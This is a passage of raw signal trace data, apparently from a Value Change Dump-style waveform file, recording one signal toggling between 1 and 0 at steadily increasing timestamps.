1! +#1395590 0! +#1397505 1! +#1397590 0! +#1399505 1! +#1399590 0! +#1401505 1! +#1401683 0! +#1403506 1! +#1403684 0! +#1405506 1! +#1405684 0! +#1407506 1! +#1407684 0! +#1409506 1! +#1409685 0! +#1411507 1! +#1411685 0! +#1413507 1! +#1413685 0! +#1415507 1! +#1415685 0! +#1417508 1! +#1417686 0! +#1419508 1! +#1419686 0! +#1421508 1! +#1421686 0! +#1423509 1! +#1423687 0! +#1425509 1! +#1425687 0! +#1427509 1! +#1427687 0! +#1429510 1! +#1429688 0! +#1431510 1! +#1431688 0! +#1433510 1! +#1433688 0! +#1435510 1! +#1435689 0! +#1437511 1! +#1437689 0! +#1439511 1! +#1439689 0! +#1441511 1! +#1441689 0! +#1443512 1! +#1443690 0! +#1445512 1! +#1445690 0! +#1447512 1! +#1447690 0! +#1449513 1! +#1449691 0! +#1451513 1! +#1451691 0! +#1453513 1! +#1453691 0! +#1455513 1! +#1455692 0! +#1457514 1! +#1457692 0! +#1459514 1! +#1459692 0! +#1461514 1! +#1461692 0! +#1463515 1! +#1463693 0! +#1465515 1! +#1465693 0! +#1467515 1! +#1467693 0! +#1469516 1! +#1469694 0! +#1471516 1! +#1471694 0! +#1473516 1! +#1473694 0! +#1475516 1! +#1475695 0! +#1477517 1! +#1477695 0! +#1479517 1! +#1479695 0! +#1481517 1! +#1481696 0! +#1483518 1! +#1483696 0! +#1485518 1! +#1485696 0! +#1487518 1! +#1487696 0! +#1489519 1! +#1489697 0! +#1491519 1! +#1491697 0! +#1493519 1! +#1493697 0! +#1495520 1! +#1495698 0! +#1497520 1! +#1497698 0! +#1499520 1! +#1499698 0! +#1501521 1! +#1501699 0! +#1503521 1! +#1503699 0! +#1505521 1! +#1505699 0! +#1507521 1! +#1507700 0! +#1509522 1! +#1509700 0! +#1511522 1! +#1511700 0! +#1513522 1! +#1513700 0! +#1515523 1! +#1515701 0! +#1517523 1! +#1517701 0! +#1519523 1! +#1519701 0! +#1521524 1! +#1521702 0! +#1523524 1! +#1523702 0! +#1525524 1! +#1525702 0! +#1527525 1! +#1527703 0! +#1529525 1! +#1529703 0! +#1531525 1! +#1531703 0! +#1533525 1! +#1533703 0! +#1535526 1! +#1535704 0! +#1537526 1! +#1537704 0! +#1539526 1! +#1539704 0! +#1541527 1! +#1541705 0! +#1543527 1! +#1543705 0! +#1545527 1! +#1545705 0! +#1547528 1! +#1547706 0! +#1549528 1! +#1549706 0! +#1551528 1! +#1551706 0! +#1553529 1! +#1553707 0! +#1555529 1! +#1555707 0! +#1557529 1! +#1557707 0! +#1559529 1! +#1559707 0! +#1561530 1! +#1561708 0! +#1563530 1! +#1563708 0! +#1565530 1! +#1565708 0! +#1567531 1! +#1567709 0! +#1569531 1! +#1569709 0! +#1571531 1! +#1571709 0! +#1573532 1! +#1573710 0! +#1575532 1! +#1575710 0! +#1577532 1! +#1577710 0! +#1579532 1! +#1579711 0! +#1581533 1! +#1581711 0! +#1583533 1! +#1583711 0! +#1585533 1! +#1585712 0! +#1587534 1! +#1587712 0! +#1589534 1! +#1589712 0! +#1591534 1! +#1591713 0! +#1593535 1! +#1593713 0! +#1595535 1! +#1595713 0! +#1597535 1! +#1597713 0! +#1599536 1! +#1599714 0! +#1601536 1! +#1601683 0! +#1603536 1! +#1603683 0! +#1605536 1! +#1605684 0! +#1607537 1! +#1607684 0! +#1609537 1! +#1609684 0! +#1611537 1! +#1611685 0! +#1613538 1! +#1613685 0! +#1615538 1! +#1615685 0! +#1617538 1! +#1617686 0! +#1619539 1! +#1619686 0! +#1621539 1! +#1621686 0! +#1623539 1! +#1623686 0! +#1625540 1! +#1625687 0! +#1627540 1! +#1627687 0! +#1629540 1! +#1629687 0! +#1631541 1! +#1631688 0! +#1633541 1! +#1633688 0! +#1635541 1! +#1635688 0! +#1637541 1! +#1637689 0! +#1639542 1! +#1639689 0! +#1641542 1! +#1641689 0! +#1643542 1! +#1643689 0! +#1645543 1! +#1645690 0! +#1647543 1! +#1647690 0! +#1649543 1! +#1649690 0! +#1651544 1! +#1651691 0! +#1653544 1! +#1653691 0! +#1655544 1! +#1655691 0! +#1657544 1! +#1657692 0! +#1659545 1! +#1659692 0! +#1661545 1! +#1661692 0! +#1663545 1! +#1663693 0! +#1665546 1! +#1665693 0! +#1667546 1! +#1667693 0! +#1669546 1! +#1669694 0! +#1671547 1! +#1671694 0! +#1673547 1! +#1673694 0! +#1675547 1! +#1675694 0! +#1677548 1! +#1677695 0! +#1679548 1! +#1679695 0! +#1681548 1! +#1681695 0! +#1683548 1! +#1683696 0! +#1685549 1! +#1685696 0! +#1687549 1! +#1687696 0! +#1689549 1! +#1689697 0! +#1691550 1! +#1691697 0! +#1693550 1! +#1693697 0! +#1695550 1! +#1695698 0! +#1697551 1! +#1697698 0! +#1699551 1! +#1699698 0! +#1701551 1! +#1701698 0! +#1703552 1! +#1703699 0! +#1705552 1! +#1705699 0! +#1707552 1! +#1707699 0! +#1709553 1! +#1709700 0! +#1711553 1! +#1711700 0! +#1713553 1! +#1713700 0! +#1715553 1! +#1715701 0! +#1717554 1! +#1717701 0! +#1719554 1! +#1719701 0! +#1721554 1! +#1721702 0! +#1723555 1! +#1723702 0! +#1725555 1! +#1725702 0! +#1727555 1! +#1727702 0! +#1729556 1! +#1729703 0! +#1731556 1! +#1731703 0! +#1733556 1! +#1733703 0! +#1735557 1! +#1735704 0! +#1737557 1! +#1737704 0! +#1739557 1! +#1739704 0! +#1741557 1! +#1741705 0! +#1743558 1! +#1743705 0! +#1745558 1! +#1745705 0! +#1747558 1! +#1747706 0! +#1749559 1! +#1749706 0! +#1751559 1! +#1751706 0! +#1753559 1! +#1753706 0! +#1755560 1! +#1755707 0! +#1757560 1! +#1757707 0! +#1759560 1! +#1759707 0! +#1761561 1! +#1761708 0! +#1763561 1! +#1763708 0! +#1765561 1! +#1765708 0! +#1767561 1! +#1767709 0! +#1769562 1! +#1769709 0! +#1771562 1! +#1771709 0! +#1773562 1! +#1773710 0! +#1775563 1! +#1775710 0! +#1777563 1! +#1777710 0! +#1779563 1! +#1779710 0! +#1781564 1! +#1781711 0! +#1783564 1! +#1783711 0! +#1785564 1! +#1785711 0! +#1787565 1! +#1787712 0! +#1789565 1! +#1789712 0! +#1791565 1! +#1791712 0! +#1793565 1! +#1793713 0! +#1795566 1! +#1795713 0! +#1797566 1! +#1797713 0! +#1799566 1! +#1799714 0! +#1801567 1! +#1801652 0! +#1803567 1! +#1803652 0! +#1805567 1! +#1805653 0! +#1807568 1! +#1807653 0! +#1809568 1! +#1809653 0! +#1811568 1! +#1811654 0! +#1813569 1! +#1813654 0! +#1815569 1! +#1815654 0! +#1817569 1! +#1817654 0! +#1819570 1! +#1819655 0! +#1821570 1! +#1821655 0! +#1823570 1! +#1823655 0! +#1825570 1! +#1825656 0! +#1827571 1! +#1827656 0! +#1829571 1! +#1829656 0! +#1831571 1! +#1831657 0! +#1833572 1! +#1833657 0! +#1835572 1! +#1835657 0! +#1837572 1! +#1837658 0! +#1839573 1! +#1839658 0! +#1841573 1! +#1841658 0! +#1843573 1! +#1843658 0! +#1845573 1! +#1845659 0! +#1847574 1! +#1847659 0! +#1849574 1! +#1849659 0! +#1851574 1! +#1851660 0! +#1853575 1! +#1853660 0! +#1855575 1! +#1855660 0! +#1857575 1! +#1857661 0! +#1859576 1! +#1859661 0! +#1861576 1! +#1861661 0! +#1863576 1! +#1863661 0! +#1865577 1! +#1865662 0! +#1867577 1! +#1867662 0! +#1869577 1! +#1869662 0! +#1871577 1! +#1871663 0! +#1873578 1! +#1873663 0! +#1875578 1! +#1875663 0! +#1877578 1! +#1877664 0! +#1879579 1! +#1879664 0! +#1881579 1! +#1881664 0! +#1883579 1! +#1883665 0! +#1885580 1! +#1885665 0! +#1887580 1! +#1887665 0! +#1889580 1! +#1889665 0! +#1891580 1! +#1891666 0! +#1893581 1! +#1893666 0! +#1895581 1! +#1895666 0! +#1897581 1! +#1897667 0! +#1899582 1! +#1899667 0! +#1901582 1! +#1901667 0! +#1903582 1! +#1903668 0! +#1905583 1! +#1905668 0! +#1907583 1! +#1907668 0! +#1909583 1! +#1909669 0! +#1911584 1! +#1911669 0! +#1913584 1! +#1913669 0! +#1915584 1! +#1915670 0! +#1917585 1! +#1917670 0! +#1919585 1! +#1919670 0! +#1921585 1! +#1921670 0! +#1923585 1! +#1923671 0! +#1925586 1! +#1925671 0! +#1927586 1! +#1927671 0! +#1929586 1! +#1929672 0! +#1931587 1! +#1931672 0! +#1933587 1! +#1933672 0! +#1935587 1! +#1935673 0! +#1937588 1! +#1937673 0! +#1939588 1! +#1939673 0! +#1941588 1! +#1941674 0! +#1943589 1! +#1943674 0! +#1945589 1! +#1945674 0! +#1947589 1! +#1947674 0! +#1949589 1! +#1949675 0! +#1951590 1! +#1951675 0! +#1953590 1! +#1953675 0! +#1955590 1! +#1955676 0! +#1957591 1! +#1957676 0! +#1959591 1! +#1959676 0! +#1961591 1! +#1961677 0! +#1963592 1! +#1963677 0! +#1965592 1! +#1965677 0! +#1967592 1! +#1967678 0! +#1969593 1! +#1969678 0! +#1971593 1! +#1971678 0! +#1973593 1! +#1973678 0! +#1975593 1! +#1975679 0! +#1977594 1! +#1977679 0! +#1979594 1! +#1979679 0! +#1981594 1! +#1981680 0! +#1983595 1! +#1983680 0! +#1985595 1! +#1985680 0! +#1987595 1! +#1987681 0! +#1989596 1! +#1989681 0! +#1991596 1! +#1991681 0! +#1993596 1! +#1993682 0! +#1995597 1! +#1995682 0! +#1997597 1! +#1997682 0! +#1999597 1! +#1999682 0! +#2001598 1! +#2001724 0! +#2003598 1! +#2003724 0! +#2005598 1! +#2005725 0! +#2007598 1! +#2007725 0! +#2009599 1! +#2009725 0! +#2011599 1! +#2011725 0! +#2013599 1! +#2013726 0! +#2015600 1! +#2015726 0! +#2017600 1! +#2017726 0! +#2019600 1! +#2019727 0! +#2021601 1! +#2021727 0! +#2023601 1! +#2023727 0! +#2025601 1! +#2025728 0! +#2027601 1! +#2027728 0! +#2029602 1! +#2029728 0! +#2031602 1! +#2031729 0! +#2033602 1! +#2033729 0! +#2035603 1! +#2035729 0! +#2037603 1! +#2037729 0! +#2039603 1! +#2039730 0! +#2041604 1! +#2041730 0! +#2043604 1! +#2043730 0! +#2045604 1! +#2045731 0! +#2047605 1! +#2047731 0! +#2049605 1! +#2049731 0! +#2051605 1! +#2051732 0! +#2053605 1! +#2053732 0! +#2055606 1! +#2055732 0! +#2057606 1! +#2057733 0! +#2059606 1! +#2059733 0! +#2061607 1! +#2061733 0! +#2063607 1! +#2063734 0! +#2065607 1! +#2065734 0! +#2067608 1! +#2067734 0! +#2069608 1! +#2069734 0! +#2071608 1! +#2071735 0! +#2073609 1! +#2073735 0! +#2075609 1! +#2075735 0! +#2077609 1! +#2077736 0! +#2079610 1! +#2079736 0! +#2081610 1! +#2081736 0! +#2083610 1! +#2083737 0! +#2085611 1! +#2085737 0! +#2087611 1! +#2087737 0! +#2089611 1! +#2089738 0! +#2091612 1! +#2091738 0! +#2093612 1! +#2093738 0! +#2095612 1! +#2095739 0! +#2097612 1! +#2097739 0! +#2099613 1! +#2099739 0! +#2101613 1! +#2101740 0! +#2103613 1! +#2103740 0! +#2105614 1! +#2105740 0! +#2107614 1! +#2107741 0! +#2109614 1! +#2109741 0! +#2111615 1! +#2111741 0! +#2113615 1! +#2113741 0! +#2115615 1! +#2115742 0! +#2117616 1! +#2117742 0! +#2119616 1! +#2119742 0! +#2121616 1! +#2121743 0! +#2123617 1! +#2123743 0! +#2125617 1! +#2125743 0! +#2127617 1! +#2127744 0! +#2129617 1! +#2129744 0! +#2131618 1! +#2131744 0! +#2133618 1! +#2133745 0! +#2135618 1! +#2135745 0! +#2137619 1! +#2137745 0! +#2139619 1! +#2139745 0! +#2141619 1! +#2141746 0! +#2143620 1! +#2143746 0! +#2145620 1! +#2145746 0! +#2147620 1! +#2147747 0! +#2149621 1! +#2149747 0! +#2151621 1! +#2151747 0! +#2153621 1! +#2153748 0! +#2155621 1! +#2155748 0! +#2157622 1! +#2157748 0! +#2159622 1! +#2159748 0! +#2161622 1! +#2161749 0! +#2163623 1! +#2163749 0! +#2165623 1! +#2165749 0! +#2167623 1! +#2167750 0! +#2169624 1! +#2169750 0! +#2171624 1! +#2171750 0! +#2173624 1! +#2173751 0! +#2175624 1! +#2175751 0! +#2177625 1! +#2177752 0! +#2179625 1! +#2179752 0! +#2181626 1! +#2181752 0! +#2183626 1! +#2183752 0! +#2185626 1! +#2185753 0! +#2187626 1! +#2187753 0! +#2189627 1! +#2189753 0! +#2191627 1! +#2191753 0! +#2193627 1! +#2193754 0! +#2195628 1! +#2195754 0! +#2197628 1! +#2197754 0! +#2199628 1! +#2199755 0! +#2201629 1! +#2201869 0! +#2203629 1! +#2203869 0! +#2205629 1! +#2205869 0! +#2207629 1! +#2207869 0! +#2209630 1! +#2209870 0! +#2211630 1! +#2211870 0! +#2213630 1! +#2213870 0! +#2215631 1! +#2215871 0! +#2217631 1! +#2217871 0! +#2219631 1! +#2219871 0! +#2221632 1! +#2221872 0! +#2223632 1! +#2223872 0! +#2225632 1! +#2225872 0! +#2227633 1! +#2227873 0! +#2229633 1! +#2229873 0! +#2231633 1! +#2231873 0! +#2233634 1! +#2233874 0! +#2235634 1! +#2235874 0! +#2237634 1! +#2237874 0! +#2239634 1! +#2239874 0! +#2241635 1! +#2241875 0! +#2243635 1! +#2243875 0! +#2245635 1! +#2245875 0! +#2247636 1! +#2247876 0! +#2249636 1! +#2249876 0! +#2251636 1! +#2251876 0! +#2253637 1! +#2253877 0! +#2255637 1! +#2255877 0! +#2257637 1! +#2257877 0! +#2259638 1! +#2259878 0! +#2261638 1! +#2261878 0! +#2263638 1! +#2263878 0! +#2265639 1! +#2265879 0! +#2267639 1! +#2267879 0! +#2269639 1! +#2269879 0! +#2271640 1! +#2271880 0! +#2273640 1! +#2273880 0! +#2275640 1! +#2275880 0! +#2277640 1! +#2277880 0! +#2279641 1! +#2279881 0! +#2281641 1! +#2281881 0! +#2283641 1! +#2283881 0! +#2285642 1! +#2285882 0! +#2287642 1! +#2287882 0! +#2289642 1! +#2289882 0! +#2291643 1! +#2291883 0! +#2293643 1! +#2293883 0! +#2295643 1! +#2295883 0! +#2297644 1! +#2297883 0! +#2299644 1! +#2299884 0! +#2301644 1! +#2301884 0! +#2303645 1! +#2303884 0! +#2305645 1! +#2305885 0! +#2307645 1! +#2307885 0! +#2309645 1! +#2309885 0! +#2311646 1! +#2311886 0! +#2313646 1! +#2313886 0! +#2315646 1! +#2315886 0! +#2317647 1! +#2317887 0! +#2319647 1! +#2319887 0! +#2321647 1! +#2321887 0! +#2323648 1! +#2323887 0! +#2325648 1! +#2325888 0! +#2327648 1! +#2327888 0! +#2329648 1! +#2329888 0! +#2331649 1! +#2331889 0! +#2333649 1! +#2333889 0! +#2335649 1! +#2335889 0! +#2337650 1! +#2337890 0! +#2339650 1! +#2339890 0! +#2341650 1! +#2341890 0! +#2343651 1! +#2343891 0! +#2345651 1! +#2345891 0! +#2347651 1! +#2347891 0! +#2349651 1! +#2349891 0! +#2351652 1! +#2351892 0! +#2353652 1! +#2353892 0! +#2355652 1! +#2355892 0! +#2357653 1! +#2357893 0! +#2359653 1! +#2359893 0! +#2361653 1! +#2361893 0! +#2363654 1! +#2363894 0! +#2365654 1! +#2365894 0! +#2367654 1! +#2367894 0! +#2369655 1! +#2369894 0! +#2371655 1! +#2371895 0! +#2373655 1! +#2373895 0! +#2375655 1! +#2375896 0! +#2377656 1! +#2377896 0! +#2379656 1! +#2379896 0! +#2381656 1! +#2381896 0! +#2383657 1! +#2383897 0! +#2385657 1! +#2385897 0! +#2387657 1! +#2387897 0! +#2389658 1! +#2389898 0! +#2391658 1! +#2391898 0! +#2393658 1! +#2393898 0! +#2395659 1! +#2395899 0! +#2397659 1! +#2397899 0! +#2399660 1! +#2399900 0! +#2401660 1! +#2401725 0! +#2403660 1! +#2403725 0! +#2405661 1! +#2405725 0! +#2407661 1! +#2407726 0! +#2409661 1! +#2409726 0! +#2411662 1! +#2411726 0! +#2413662 1! +#2413727 0! +#2415662 1! +#2415727 0! +#2417662 1! +#2417727 0! +#2419663 1! +#2419727 0! +#2421663 1! +#2421728 0! +#2423663 1! +#2423728 0! +#2425664 1! +#2425728 0! +#2427664 1! +#2427729 0! +#2429664 1! +#2429729 0! +#2431665 1! +#2431729 0! +#2433665 1! +#2433729 0! +#2435665 1! +#2435730 0! +#2437665 1! +#2437730 0! +#2439666 1! +#2439730 0! +#2441666 1! +#2441731 0! +#2443666 1! +#2443731 0! +#2445667 1! +#2445731 0! +#2447667 1! +#2447732 0! +#2449667 1! +#2449732 0! +#2451668 1! +#2451732 0! +#2453668 1! +#2453733 0! +#2455668 1! +#2455733 0! +#2457669 1! +#2457733 0! +#2459669 1! +#2459733 0! +#2461669 1! +#2461734 0! +#2463669 1! +#2463734 0! +#2465670 1! +#2465734 0! +#2467670 1! +#2467735 0! +#2469670 1! +#2469735 0! +#2471671 1! +#2471735 0! +#2473671 1! +#2473736 0! +#2475671 1! +#2475736 0! +#2477672 1! +#2477736 0! +#2479672 1! +#2479737 0! +#2481672 1! +#2481737 0! +#2483673 1! +#2483737 0! +#2485673 1! +#2485738 0! +#2487673 1! +#2487738 0! +#2489673 1! +#2489738 0! +#2491674 1! +#2491738 0! +#2493674 1! +#2493739 0! +#2495674 1! +#2495739 0! +#2497675 1! +#2497739 0! +#2499675 1! +#2499740 0! +#2501675 1! +#2501740 0! +#2503676 1! +#2503740 0! +#2505676 1! +#2505741 0! +#2507676 1! +#2507741 0! +#2509677 1! +#2509741 0! +#2511677 1! +#2511741 0! +#2513677 1! +#2513742 0! +#2515677 1! +#2515742 0! +#2517678 1! +#2517742 0! +#2519678 1! +#2519743 0! +#2521678 1! +#2521743 0! +#2523679 1! +#2523743 0! +#2525679 1! +#2525744 0! +#2527679 1! +#2527744 0! +#2529680 1! +#2529744 0! +#2531680 1! +#2531745 0! +#2533680 1! +#2533745 0! +#2535681 1! +#2535745 0! +#2537681 1! +#2537746 0! +#2539681 1! +#2539746 0! +#2541682 1! +#2541746 0! +#2543682 1! +#2543747 0! +#2545682 1! +#2545747 0! +#2547682 1! +#2547747 0! +#2549683 1! +#2549747 0! +#2551683 1! +#2551748 0! +#2553683 1! +#2553748 0! +#2555684 1! +#2555748 0! +#2557684 1! +#2557749 0! +#2559684 1! +#2559749 0! +#2561685 1! +#2561749 0! +#2563685 1! +#2563750 0! +#2565685 1! +#2565750 0! +#2567686 1! +#2567750 0! +#2569686 1! +#2569750 0! +#2571686 1! +#2571751 0! +#2573686 1! +#2573751 0! +#2575687 1! +#2575751 0! +#2577687 1! +#2577752 0! +#2579687 1! +#2579752 0! +#2581688 1! +#2581752 0! +#2583688 1! +#2583753 0! +#2585688 1! +#2585753 0! +#2587689 1! +#2587753 0! +#2589689 1! +#2589754 0! +#2591689 1! +#2591754 0! +#2593690 1! +#2593754 0! +#2595690 1! +#2595754 0! +#2597690 1! +#2597755 0! +#2599690 1! +#2599755 0! +#2601691 1! +#2601776 0! +#2603691 1! +#2603776 0! +#2605691 1! +#2605777 0! +#2607692 1! +#2607777 0! +#2609692 1! +#2609777 0! +#2611692 1! +#2611777 0! +#2613693 1! +#2613778 0! +#2615693 1! +#2615778 0! +#2617693 1! +#2617778 0! +#2619694 1! +#2619779 0! +#2621694 1! +#2621779 0! +#2623694 1! +#2623779 0! +#2625694 1! +#2625780 0! +#2627695 1! +#2627780 0! +#2629695 1! +#2629780 0! +#2631695 1! +#2631781 0! +#2633696 1! +#2633781 0! +#2635696 1! +#2635781 0! +#2637696 1! +#2637782 0! +#2639697 1! +#2639782 0! +#2641697 1! +#2641782 0! +#2643697 1! +#2643782 0! +#2645697 1! +#2645783 0! +#2647698 1! +#2647783 0! +#2649698 1! +#2649783 0! +#2651698 1! +#2651784 0! +#2653699 1! +#2653784 0! +#2655699 1! +#2655784 0! +#2657699 1! +#2657785 0! +#2659700 1! +#2659785 0! +#2661700 1! +#2661785 0! +#2663700 1! +#2663785 0! +#2665701 1! +#2665786 0! +#2667701 1! +#2667786 0! +#2669701 1! +#2669786 0! +#2671701 1! +#2671787 0! +#2673702 1! +#2673787 0! +#2675702 1! +#2675787 0! +#2677702 1! +#2677788 0! +#2679703 1! +#2679788 0! +#2681703 1! +#2681788 0! +#2683703 1! +#2683789 0! +#2685704 1! +#2685789 0! +#2687704 1! +#2687789 0! +#2689704 1! +#2689790 0! +#2691705 1! +#2691790 0! +#2693705 1! +#2693790 0! +#2695705 1! +#2695791 0! +#2697706 1! +#2697791 0! +#2699706 1! +#2699791 0! +#2701706 1! +#2701791 0! +#2703706 1! +#2703792 0! +#2705707 1! +#2705792 0! +#2707707 1! +#2707792 0! +#2709707 1! +#2709793 0! +#2711708 1! +#2711793 0! +#2713708 1! +#2713793 0! +#2715708 1! +#2715794 0! +#2717709 1! +#2717794 0! +#2719709 1! +#2719794 0! +#2721709 1! +#2721794 0! +#2723710 1! +#2723795 0! +#2725710 1! +#2725795 0! +#2727710 1! +#2727795 0! +#2729710 1! +#2729796 0! +#2731711 1! +#2731796 0! +#2733711 1! +#2733796 0! +#2735711 1! +#2735797 0! +#2737712 1! +#2737797 0! +#2739712 1! +#2739797 0! +#2741712 1! +#2741798 0! +#2743713 1! +#2743798 0! +#2745713 1! +#2745798 0! +#2747713 1! +#2747799 0! +#2749714 1! +#2749799 0! +#2751714 1! +#2751799 0! +#2753714 1! +#2753799 0! +#2755715 1! +#2755800 0! +#2757715 1! +#2757800 0! +#2759715 1! +#2759800 0! +#2761715 1! +#2761801 0! +#2763716 1! +#2763801 0! +#2765716 1! +#2765801 0! +#2767716 1! +#2767802 0! +#2769717 1! +#2769802 0! +#2771717 1! +#2771802 0! +#2773717 1! +#2773803 0! +#2775718 1! +#2775803 0! +#2777718 1! +#2777803 0! +#2779718 1! +#2779804 0! +#2781719 1! +#2781804 0! +#2783719 1! +#2783804 0! +#2785719 1! +#2785805 0! +#2787720 1! +#2787805 0! +#2789720 1! +#2789805 0! +#2791720 1! +#2791805 0! +#2793720 1! +#2793806 0! +#2795721 1! +#2795806 0! +#2797721 1! +#2797806 0! +#2799721 1! +#2799807 0! +#2801722 1! +#2801838 0! +#2803722 1! +#2803838 0! +#2805722 1! +#2805838 0! +#2807723 1! +#2807839 0! +#2809723 1! +#2809839 0! +#2811723 1! +#2811839 0! +#2813724 1! +#2813840 0! +#2815724 1! +#2815840 0! +#2817724 1! +#2817840 0! +#2819724 1! +#2819841 0! +#2821725 1! +#2821841 0! +#2823725 1! +#2823841 0! +#2825725 1! +#2825842 0! +#2827726 1! +#2827842 0! +#2829726 1! +#2829842 0! +#2831726 1! +#2831843 0! +#2833727 1! +#2833843 0! +#2835727 1! +#2835843 0! +#2837727 1! +#2837843 0! +#2839728 1! +#2839844 0! +#2841728 1! +#2841844 0! +#2843728 1! +#2843844 0! +#2845729 1! +#2845845 0! +#2847729 1! +#2847845 0! +#2849729 1! +#2849845 0! +#2851729 1! +#2851846 0! +#2853730 1! +#2853846 0! +#2855730 1! +#2855846 0! +#2857730 1! +#2857847 0! +#2859731 1! +#2859847 0! +#2861731 1! +#2861847 0! +#2863731 1! +#2863847 0! +#2865732 1! +#2865848 0! +#2867732 1! +#2867848 0! +#2869732 1! +#2869848 0! +#2871733 1! +#2871849 0! +#2873733 1! +#2873849 0! +#2875733 1! +#2875849 0! +#2877733 1! +#2877850 0! +#2879734 1! +#2879850 0! +#2881734 1! +#2881850 0! +#2883734 1! +#2883851 0! +#2885735 1! +#2885851 0! +#2887735 1! +#2887851 0! +#2889735 1! +#2889851 0! +#2891736 1! +#2891852 0! +#2893736 1! +#2893852 0! +#2895736 1! +#2895852 0! +#2897737 1! +#2897853 0! +#2899737 1! +#2899853 0! +#2901737 1! +#2901853 0! +#2903738 1! +#2903854 0! +#2905738 1! +#2905854 0! +#2907738 1! +#2907854 0! +#2909738 1! +#2909855 0! +#2911739 1! +#2911855 0! +#2913739 1! +#2913855 0! +#2915739 1! +#2915855 0! +#2917740 1! +#2917856 0! +#2919740 1! +#2919856 0! +#2921740 1! +#2921857 0! +#2923741 1! +#2923857 0! +#2925741 1! +#2925857 0! +#2927741 1! +#2927857 0! +#2929741 1! +#2929858 0! +#2931742 1! +#2931858 0! +#2933742 1! +#2933858 0! +#2935742 1! +#2935859 0! +#2937743 1! +#2937859 0! +#2939743 1! +#2939859 0! +#2941743 1! +#2941860 0! +#2943744 1! +#2943860 0! +#2945744 1! +#2945860 0! +#2947744 1! +#2947860 0! +#2949745 1! +#2949861 0! +#2951745 1! +#2951861 0! +#2953745 1! +#2953861 0! +#2955745 1! +#2955862 0! +#2957746 1! +#2957862 0! +#2959746 1! +#2959862 0! +#2961746 1! +#2961863 0! +#2963747 1! +#2963863 0! +#2965747 1! +#2965863 0! +#2967747 1! +#2967864 0! +#2969748 1! +#2969864 0! +#2971748 1! +#2971864 0! +#2973748 1! +#2973864 0! +#2975749 1! +#2975865 0! +#2977749 1! +#2977865 0! +#2979749 1! +#2979865 0! +#2981749 1! +#2981866 0! +#2983750 1! +#2983866 0! +#2985750 1! +#2985866 0! +#2987750 1! +#2987867 0! +#2989751 1! +#2989867 0! +#2991751 1! +#2991867 0! +#2993751 1! +#2993867 0! +#2995752 1! +#2995868 0! +#2997752 1! +#2997868 0! +#2999752 1! +#2999868 0! +#3001752 1! +#3001807 0! +#3003753 1! +#3003807 0! +#3005753 1! +#3005807 0! +#3007753 1! +#3007808 0! +#3009754 1! +#3009808 0! +#3011754 1! +#3011808 0! +#3013754 1! +#3013809 0! +#3015755 1! +#3015809 0! +#3017755 1! +#3017809 0! +#3019755 1! +#3019810 0! +#3021756 1! +#3021810 0! +#3023756 1! +#3023810 0! +#3025756 1! +#3025811 0! +#3027757 1! +#3027811 0! +#3029757 1! +#3029811 0! +#3031757 1! +#3031811 0! +#3033757 1! +#3033812 0! +#3035758 1! +#3035812 0! +#3037758 1! +#3037812 0! +#3039758 1! +#3039813 0! +#3041759 1! +#3041813 0! +#3043759 1! +#3043813 0! +#3045759 1! +#3045814 0! +#3047760 1! +#3047814 0! +#3049760 1! +#3049814 0! +#3051760 1! +#3051815 0! +#3053761 1! +#3053815 0! +#3055761 1! +#3055815 0! +#3057761 1! +#3057815 0! +#3059761 1! +#3059816 0! +#3061762 1! +#3061816 0! +#3063762 1! +#3063816 0! +#3065762 1! +#3065817 0! +#3067763 1! +#3067817 0! +#3069763 1! +#3069817 0! +#3071763 1! +#3071818 0! +#3073764 1! +#3073818 0! +#3075764 1! +#3075818 0! +#3077764 1! +#3077819 0! +#3079764 1! +#3079819 0! +#3081765 1! +#3081819 0! +#3083765 1! +#3083819 0! +#3085765 1! +#3085820 0! +#3087766 1! +#3087820 0! +#3089766 1! +#3089820 0! +#3091766 1! +#3091821 0! +#3093767 1! +#3093821 0! +#3095767 1! +#3095821 0! +#3097767 1! +#3097822 0! +#3099768 1! +#3099822 0! +#3101768 1! +#3101822 0! +#3103768 1! +#3103823 0! +#3105768 1! +#3105823 0! +#3107769 1! +#3107823 0! +#3109769 1! +#3109823 0! +#3111769 1! +#3111824 0! +#3113770 1! +#3113824 0! +#3115770 1! +#3115824 0! +#3117770 1! +#3117825 0! +#3119771 1! +#3119825 0! +#3121771 1! +#3121825 0! +#3123771 1! +#3123826 0! +#3125771 1! +#3125826 0! +#3127772 1! +#3127826 0! +#3129772 1! +#3129826 0! +#3131772 1! +#3131827 0! +#3133773 1! +#3133827 0! +#3135773 1! +#3135827 0! +#3137773 1! +#3137828 0! +#3139774 1! +#3139828 0! +#3141774 1! +#3141828 0! +#3143774 1! +#3143829 0! +#3145774 1! +#3145829 0! +#3147775 1! +#3147829 0! +#3149775 1! +#3149829 0! +#3151775 1! +#3151830 0! +#3153776 1! +#3153830 0! +#3155776 1! +#3155830 0! +#3157776 1! +#3157831 0! +#3159777 1! +#3159831 0! +#3161777 1! +#3161831 0! +#3163777 1! +#3163832 0! +#3165778 1! +#3165832 0! +#3167778 1! +#3167832 0! +#3169778 1! +#3169832 0! +#3171778 1! +#3171833 0! +#3173779 1! +#3173833 0! +#3175779 1! +#3175833 0! +#3177779 1! +#3177834 0! +#3179780 1! +#3179834 0! +#3181780 1! +#3181834 0! +#3183780 1! +#3183835 0! +#3185781 1! +#3185835 0! +#3187781 1! +#3187835 0! +#3189781 1! +#3189836 0! +#3191782 1! +#3191836 0! +#3193782 1! +#3193836 0! +#3195782 1! +#3195837 0! +#3197782 1! +#3197837 0! +#3199783 1! +#3199837 0! +#3201783 1! +#3201848 0! +#3203783 1! +#3203848 0! +#3205784 1! +#3205848 0! +#3207784 1! +#3207849 0! +#3209784 1! +#3209849 0! +#3211785 1! +#3211849 0! +#3213785 1! +#3213850 0! +#3215785 1! +#3215850 0! +#3217785 1! +#3217850 0! +#3219786 1! +#3219850 0! +#3221786 1! +#3221851 0! +#3223786 1! +#3223851 0! +#3225787 1! +#3225851 0! +#3227787 1! +#3227852 0! +#3229787 1! +#3229852 0! +#3231788 1! +#3231852 0! +#3233788 1! +#3233853 0! +#3235788 1! +#3235853 0! +#3237788 1! +#3237853 0! +#3239789 1! +#3239853 0! +#3241789 1! +#3241854 0! +#3243789 1! +#3243854 0! +#3245790 1! +#3245854 0! +#3247790 1! +#3247855 0! +#3249790 1! +#3249855 0! +#3251791 1! +#3251855 0! +#3253791 1! +#3253856 0! +#3255791 1! +#3255856 0! +#3257792 1! +#3257856 0! +#3259792 1! +#3259857 0! +#3261792 1! +#3261857 0! +#3263793 1! +#3263857 0! +#3265793 1! +#3265858 0! +#3267793 1! +#3267858 0! +#3269793 1! +#3269858 